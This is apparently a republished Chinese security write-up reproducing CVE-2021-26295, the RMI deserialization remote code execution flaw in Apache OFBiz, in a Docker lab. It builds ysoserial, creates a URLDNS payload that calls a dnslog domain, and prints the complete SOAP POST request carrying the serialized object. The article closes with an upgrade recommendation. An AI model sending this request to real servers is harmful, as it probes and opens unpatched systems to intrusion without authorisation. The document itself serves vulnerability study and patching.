Apache OFBiz rmi反序列化漏洞复现(CVE-2021-26295) – 作者:东塔安全学院

0x00简介

Apache OFBiz全称是The ApacheOpen For Business Project。是开放的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新的J2EE/XML规范和技术标准,构建大中型企业级、快平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。OFBiz几乎实现了所有的J2EE核心设计模式,各个模块之间的耦合比较松散,用户能够比较容易的根据自己的需要进行拆卸,非常灵活。

0x01漏洞概述

2021年3月22日 Apache OFBiz官方发布安全更新,修复了一处由RMI反序列化造成的远程代码执行漏洞。攻击者可构造恶意请求,触发反序列化,从而造成任意代码执行,控制服务器。

0x02影响版本

Apache OFBiz < 17.12.06

0x03环境搭建

1、本次漏洞复现使用docker环境搭建,使用docker搜索ofbiz

docker search ofbiz

1617862923_606ea10bb0f9cbdabef24.png!small

2、选择第二个,使用命令拉取环境

docker pull opensourceknight/ofbiz

1617862928_606ea110bfb8bcbd34656.png!small

3、拉取完毕后使用命令运行漏洞环境,使用ps查看是否启动成功

docker run -d -p 8080:8080 -p 8443:8443 opensourceknight/ofbiz

1617862935_606ea117c5f9977c8a535.png!small

0x04漏洞复现

1、在GitHub上下载java反序列化利用工具ysoserial,

git clone https://github.com/frohoff/ysoserial.git

1617862944_606ea12094b2807b3657a.png!small

2、进入ysoserial目录使用maven下载编译需要得包,编译成功为以下图片

mvn clean package -DskipTests

1617862950_606ea126017b749c4ed95.png!small

3、在ysoserial目录可以看到有一个target目录,进入此目录

1617862955_606ea12be7e0b2fe78a21.png!small

4、准备一个dnslog地址,使用以下命令生成编码保存到123.ot

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://w5voea.dnslog.cn >123.ot

1617862964_606ea1342f95143b3d311.png!small

5、使用python脚本转成hex

import binascii

filename = ‘123.ot’

with open(filename, ‘rb’) as f:

content = f.read()

print(binascii.hexlify(content))

1617862970_606ea13ac3def9d47704c.png!small

6、在浏览器访问以下地址然后使用Burp抓包发送到重放模块

https://your-ip:8443/webtools/control/SOAPService

1617862976_606ea140832591ee062a1.png!small

7、将GET改为POST在包内添加以下数据,将数据内cus-obj中的代码修改成自己生成的代码,把dnslog地址也换成自己的,修改完后发送

POST /webtools/control/SOAPService HTTP/1.1

Host: 172.16.1.146:8443

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/xml

Content-Length: 1023

<soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/”>

<soapenv:Header/>

<soapenv:Body>

<ser>

<map-HashMap>

<map-Entry>

<map-Key>

<cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff7400107735766f65612e646e736c6f672e636e74000071007e0005740004687474707078740017687474703a2f2f7735766f65612e646e736c6f672e636e78</cus-obj>

</map-Key>

<map-Value>

<std-String value=”http://w5voea.dnslog.cn”/>

</map-Value>

</map-Entry>

</map-HashMap>

</ser>

</soapenv:Body>

</soapenv:Envelope>

1617862983_606ea147933a0d18dc32a.png!small

8、查看dnslog

1617862987_606ea14b3d0138b3e4a63.png!small

9、在github上相关的利用脚本,这里就不做演示

0x05修复建议

1、升级到最新版本或安全版本

https://ofbiz.apache.org/download.html#vulnerabilities

参考地址: https://blog.csdn.net/xuandao_ahfengren/article/details/115163971

来源:freebuf.com 2021-04-08 14:24:26 by: 东塔安全学院

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论